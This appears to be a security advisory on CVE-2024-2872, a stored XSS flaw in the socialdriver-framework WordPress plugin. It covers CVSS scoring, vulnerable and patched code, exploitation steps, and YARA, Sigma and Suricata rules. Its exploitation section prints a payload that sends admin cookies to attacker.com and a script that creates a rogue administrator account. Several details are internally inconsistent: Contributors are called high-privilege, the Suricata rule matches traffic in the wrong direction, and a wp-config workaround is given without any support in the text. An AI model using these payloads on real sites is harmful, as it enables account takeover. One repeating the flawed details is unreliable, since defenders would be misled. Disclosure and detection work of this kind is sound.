CVE-2024-2872

Executive Summary

CVE-2024-2872 is a Stored Cross-Site Scripting (XSS) vulnerability in the socialdriver-framework WordPress plugin. The plugin fails to properly sanitize and escape certain settings before saving them. This allows high-privilege users, such as Contributors, to inject arbitrary JavaScript into the WordPress admin area. When an administrator or other privileged user views the affected settings page, the injected script executes in their browser session. This can lead to session hijacking, privilege escalation, or defacement. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is typically disallowed for lower-level roles.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users are advised to update the plugin directly from their WordPress admin dashboard or by downloading the latest version from wordpress.org. No third-party package manager (NPM, PyPI, etc.) is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (Contributor or higher)
• User Interaction: Required (Admin must view the settings page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation in a multisite environment elevates the risk.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page. The plugin registers settings using the WordPress Settings API but fails to apply sanitize_text_field() or esc_html() before storing user input. When a user with the Contributor role (or higher) modifies a setting, the unsanitized input is saved directly to the database. When an administrator navigates to the plugin's settings page, the stored value is rendered without escaping, allowing the injected JavaScript to execute.

Root Cause: Missing output escaping on a settings field that accepts arbitrary input.

Attack Flow:

1. Attacker (Contributor role) logs in and navigates to the plugin settings page.
2. Attacker injects a malicious payload into a vulnerable field (e.g., <script>alert('XSS')</script>).
3. The payload is stored in the WordPress options table.
4. Administrator visits the same settings page.
5. The payload executes in the administrator's browser, potentially allowing the attacker to create new admin accounts or exfiltrate session cookies.

Vulnerable vs. Patched Code

Vulnerable Code (before 2024.04.30):

// In the plugin's settings registration
register_setting( 'socialdriver_options_group', 'socialdriver_option_name' );
// In the settings field rendering
echo '<input type="text" name="socialdriver_option_name" value="' . get_option( 'socialdriver_option_name' ) . '" />';

Patched Code (2024.04.30 and later):

// In the settings field rendering
echo '<input type="text" name="socialdriver_option_name" value="' . esc_attr( get_option( 'socialdriver_option_name' ) ) . '" />';

The patch adds esc_attr() to escape the output, preventing XSS.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with socialdriver-framework plugin version < 2024.04.30
• A user account with Contributor role or higher

Steps:

1. Log in as a Contributor.
2. Navigate to the plugin settings page (e.g., /wp-admin/admin.php?page=socialdriver-settings).
3. In a vulnerable text field, inject the following payload:

   <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
   

4. Save the settings.
5. Wait for an administrator to visit the same page.

Alternative Payload (for privilege escalation):

<script>
fetch('/wp-admin/user-new.php', {
  method: 'POST',
  headers: {'Content-Type': 'application/x-www-form-urlencoded'},
  body: 'action=createuser&_wpnonce=<nonce>&user_login=eviladmin&email=evil@example.com&pass1=password&role=administrator'
});
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual changes to plugin settings by low-privilege users.
• Look for register_setting calls that do not use sanitization callbacks.
• Audit the socialdriver_option_name option in the database for script tags.

Hardening:

• Update the plugin to version 2024.04.30 or later.
• Implement a Web Application Firewall (WAF) rule to block <script> tags in plugin settings fields.
• Restrict the manage_options capability to trusted administrators only.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/socialdriver-framework/socialdriver-framework.php (version < 2024.04.30)
• Database Option: socialdriver_option_name containing HTML/JavaScript
• Log Entry: POST /wp-admin/admin-post.php with action=update and option_page=socialdriver_options_group
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress admin IP

Detection Engineering

YARA Rule

rule CVE_2024_2872_Socialdriver_XSS {
    meta:
        description = "Detects socialdriver-framework plugin files vulnerable to CVE-2024-2872"
        author = "Valters IT"
        date = "2024-05-01"
        reference = "CVE-2024-2872"
    strings:
        $vuln_func = "get_option( 'socialdriver_option_name' )" nocase
        $safe_func = "esc_attr( get_option( 'socialdriver_option_name' ) )" nocase
    condition:
        $vuln_func and not $safe_func
}

Sigma Rule

title: CVE-2024-2872 - Stored XSS in socialdriver-framework Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit stored XSS in socialdriver-framework WordPress plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-post.php'
        cs-uri-query:
            - '*option_page=socialdriver_options_group*'
            - '*action=update*'
    condition: selection
falsepositives:
    - Legitimate plugin updates by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-2872 - socialdriver-framework Stored XSS Payload";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-post.php"; http_uri;
    content:"option_page=socialdriver_options_group"; http_client_body;
    content:"<script"; http_client_body;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate:

1. Update the socialdriver-framework plugin to version 2024.04.30 or later.
2. If immediate update is not possible, disable the plugin temporarily.

Long-term:

• Implement a Content Security Policy (CSP) header to mitigate XSS impact.
• Conduct regular security audits of all WordPress plugins.
• Enforce the principle of least privilege: do not grant Contributor roles unless absolutely necessary.

Workaround:

• Add the following to the site's wp-config.php to disable the vulnerable setting:

  define('DISABLE_SOCIALDRIVER_SETTINGS', true);
  

Valters IT
Securing Digital Frontiers